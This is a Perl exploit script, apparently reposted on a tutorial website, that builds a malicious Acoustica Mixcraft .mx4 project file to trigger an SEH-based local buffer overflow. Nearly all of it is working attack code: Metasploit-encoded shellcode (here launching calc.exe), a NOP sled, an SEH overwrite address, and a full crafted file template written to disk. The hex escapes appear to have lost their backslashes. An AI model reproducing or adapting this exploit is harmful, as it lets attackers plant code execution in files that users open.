Acoustica Mixcraft_Exploit教程-查字典教程网

#!/usr/bin/perl

# Acoustica Mixcraft (mx4 file) Local Buffer Overflow Exploit

# Author: Koshi

# Date: 08-28-08 ( 0day )

# Application: Acoustica Mixcraft

# Version(s): (Possibly Older) / 4.1 Build 96 / 4.2 Build 98

# Site: http://acoustica.com/mixcraft/download.htm

# Tested On: Windows XP SP3 Fully Patched

# A vulnerability exists in an unchecked buffer located in the

# project files (.mx4) for Acoustica Mixcraft4. The buffer should

# contain the file name of an image located in

# "C:Program FilesAcoustica Mixcraft 4mixrezicons" on a default

# install of Mixcraft, and would be used as the icon for a specific

# "track" or "instrument" in Mixcraft.

# gr33tz: Rima my baby, str0ke, breaker_unit, mess', and my dude who

# showed me this nifty program.

# win32_exec - EXITFUNC=process CMD=calc.exe Size=165 Encoder=ShikataGaNai http://metasploit.com

my $shellcode =

"xddxc3xd9x74x24xf4x5bx29xc9xb8x1fxb4xe6x18xb1x24".

"x83xebxfcx31x43x13x03x5cxa7x04xedx9ex2fx8cx0ex5e".

"xb0x86x4ax62x3bxe4x51xe2x3axfaxd1x5dx25x8fxb9x41".

"x54x64x0cx0ax62xf1x8exe2xbaxc5x08x56x38x05x5exa1".

"x80x4cx92xacxc0xbax59x95x90x18xa6x9cxfdxeaxf9x7a".

"xffx07x63x09xf3x9cxe7x52x10x22x13xe7x34xafxe2x1c".

"xcdxf3xc0xe6x0dx3axc9x82x1ax7dxf9xcfxddx06xf5x44".

"x9dxfax8ex2ax02xaex1axa2x32x5bx15xb9xc3x2bx26xbd".

"xc3xc0x4fx81x9cxe7x79x99x74x81x7exdaxb9xeax2exb4".

"x47xd5x2dx37xd0x7dx4fx3dx2ex29x4fxa6x4cxb4xc3x4b".

"xbdx53x64xeexc1";

my $bof = "A"x324;

my $sled = "x90"x35;

my $fill = "x90"x468;

my $buff = "".

"$bof".

"xebx06x90x90". ### Pointer to next SEH record (Boing!) ###

"x28x12x8bx01". ### SE handler 0x018b1228 ( wmaengine.dll POP POP RET ) ###

"$sled".

"$shellcode".

"$fill";

my $tuff = "".

"x52x49x46x46xC4x0Fx00x00x4Dx58x43x33x50x52x4Fx4Ax60x0Ax00x00".

"xCDxCCxCCxCCxCCxCCxF4x3Fx43x3Ax5Cx44x6Fx63x75x6Dx65x6Ex74x73".

"x20x61x6Ex64x20x53x65x74x74x69x6Ex67x73x5Cx4Fx77x6Ex65x72x5C".

"x4Dx79x20x44x6Fx63x75x6Dx65x6Ex74x73x5Cx4Dx79x20x52x65x63x6F".

"x72x64x69x6Ex67x73x5Cx00x00x00x00x00x00x00x00x00x00x00x00x00".

"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".

"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x01x00x00x00".

"x00x00x00x00x00x00x00x00x00x00xF0x3Fx00x00x00x00x00x00x00x00".

"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".

"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x4Cx49x53x54".

"x04x00x00x00x45x66x78x4Cx4Dx61x72x6Bx98x01x00x00x00x00x00x00".

"x00x00xF0x3Fx01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".

"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".

"x53x74x61x72x74x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".

"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".

"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00xFFxFFx80x00".

"x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".

"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x5Ex40".

"x03x00x00x00x04x00x00x00x04x00x00x00x01x01x01x00x00x00x00x00".

"x00x00xF0x3Fx54x72x6Bx41x98x03x00x00x00x00x00x00x00x00xF0x3F".

"x54x72x61x63x6Bx00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".

"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".

"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".

"$buff".

"x00x00x00x00x00x00x00x00x00x00x00x00".

"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".

"x00x00x00x00x00x00xF0x3Fx00x00x00x00x00x00x00x00x00x00x00x00".

"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00xFFx00x00".

"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".

"x00x01x00x00x46x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".

"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".

"x00x00x00x00x00x00x00x00x00x00x00x00x4Cx49x53x54x04x00x00x00".

"x45x66x78x4C";

open (MYFILE, '>>Exploit.mx4');

binmode(MYFILE);

print MYFILE "$tuff";

close (MYFILE);

print "Exploit file has been created. ( Exploit.mx4 )n";